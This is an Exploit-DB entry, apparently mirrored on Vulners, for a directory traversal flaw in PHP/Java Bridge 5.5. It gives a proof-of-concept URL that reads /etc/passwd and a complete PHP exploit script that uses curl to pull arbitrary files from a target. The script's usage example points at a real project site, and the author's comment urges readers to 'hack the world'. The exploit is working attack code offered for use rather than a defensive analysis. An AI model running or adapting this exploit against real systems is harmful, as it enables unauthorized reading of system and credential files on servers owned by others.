Lucene search
K

java Bridge 5.5 - Directory Traversal

🗓️ 07 Sep 2010 00:00:00Reported by SaxtorType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 30 Views

Java Bridge 5.5 suffers directory traversal vulnerabilit

Code
/*Title: PHP/Java Bridge 5.5
Date : Sep 6, 2010
Author: Saxtor {Location: South America (Guyana)}
Email: [email protected]
Category::  Web Applications  
Verison: 5.5


suffers a directory traversal
vulnerability.  This vulnerability could allow
attackers to read arbitrary files => 
------------------------------
http://localhost/Javabridge/source.php?source=/etc/passwd
------------------------------
 */
<?php

 /**
 * @param Author   Saxtor Location{South America Guyana}
 * @param Email:   [email protected]
 * @param  Guys please dont beleive in 2012 if you are you are playing a part of getting this world to end :( its all our perception and thinking will cause invent to happen however you will be dead and alive at the same time hehe but for now hack the world! read data 
 */


class Javabridgexploit
{
    /**
     * @param Start 
     */
				public function __construct($argv)
				{
								$this->Exploit($argv);
				}

				public function arguments($argv)
				{
								$_ARG = array();
								foreach ($argv as $arg)
								{
												if (ereg('--[a-zA-Z0-9]*=.*', $arg))
												{
																$str = split("=", $arg);
																$arg = '';
																$key = ereg_replace("--", '', $str[0]);
																for ($i = 1; $i < count($str); $i++)
																{
																				$arg .= $str[$i];
																}
																$_ARG[$key] = $arg;
												} elseif (ereg('-[a-zA-Z0-9]', $arg))
												{
																$arg = ereg_replace("-", '', $arg);
																$_ARG[$arg] = 'true';
												}

								}
								return $_ARG;
				}

				public function ConnectToVictim($url, $path,
								$dir)
				{
								$link = "$url/$path/source.php?source=$dir";

								$y = preg_match_all("/http:\/\//", $link,
												$array);
								if ($y == 1)
								{
												$ch = curl_init();
												curl_setopt($ch, CURLOPT_URL, $link);
												curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
												curl_setopt($ch, CURLOPT_USERAGENT,
																"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)");
												curl_setopt($ch, CURLOPT_REFERER,
																"http://www.x.org");
												$output = curl_exec($ch);


												$x = preg_match_all("%:root:%", $output, $array);
												$guyanarocks = $array[0][0];
												if ($guyanarocks == null)
												{
																echo "No Data Found :(";
												}
												else
												{
																echo $output;
												}


								}
                                else {
                                    die("Invalid Url Must Include http:// example http://php-java-bridge.sourceforge.net");
                                }

				}

				public function Exploit($argv)
				{
								$info = $this->arguments($argv);

								$url  = $info['url'];
								$path = $info['path'];
								$dir  = $info['dir'];

								if ($url == null && $path == null)
								{
												echo "example exploit.php --url=http://php-java-bridge.sourceforge.net --path=examples --dir=/etc/passwd";
								}

								$this->ConnectToVictim($url, $path, $dir);



				}

}

$guyanarules = new Javabridgexploit($argv);

 


?>

      

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation